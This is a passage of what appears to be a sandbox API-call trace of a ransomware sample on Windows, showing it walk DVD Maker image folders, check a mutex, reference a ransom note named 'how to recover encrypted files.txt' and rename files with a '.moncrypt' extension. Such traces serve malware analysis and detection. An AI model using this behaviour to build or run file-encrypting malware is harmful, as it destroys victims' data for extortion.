cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0057.347] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.347] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.347] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.347] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.347] GlobalUnlock (hMem=0x44000c) returned 0 [0057.347] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.347] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.347] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.348] GlobalUnlock (hMem=0x44000c) returned 0 [0057.348] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.348] GlobalUnlock (hMem=0x440004) returned 0 [0057.348] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.348] CharLowerBuffW (in: lpsz="4to3Squareframe_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="4to3squareframe_selectionsubpicture.png") returned 0x27 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.348] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", cchWideChar=83, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 83 [0057.349] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\4to3Squareframe_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 4 [0057.350] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e240 [0057.350] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.350] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.350] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.350] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0057.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.350] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png.moncrypt")) returned 0 [0057.351] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0057.351] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.351] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.351] GlobalLock (hMem=0x440004) returned 0x550170 [0057.351] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.351] GlobalUnlock (hMem=0x440004) returned 0 [0057.351] GlobalLock (hMem=0x440004) returned 0x550170 [0057.351] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.351] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.351] GlobalUnlock (hMem=0x440004) returned 0 [0057.351] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.351] GlobalUnlock (hMem=0x44000c) returned 0 [0057.351] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.351] CharLowerBuffW (in: lpsz="4to3Squareframe_VideoInset.png", cchLength=0x1e | out: lpsz="4to3squareframe_videoinset.png") returned 0x1e [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.351] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", cchWideChar=74, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.pngy", lpUsedDefaultChar=0x0) returned 74 [0057.352] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\4to3Squareframe_VideoInset.pngy", lpUsedDefaultChar=0x0) returned 4 [0057.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, 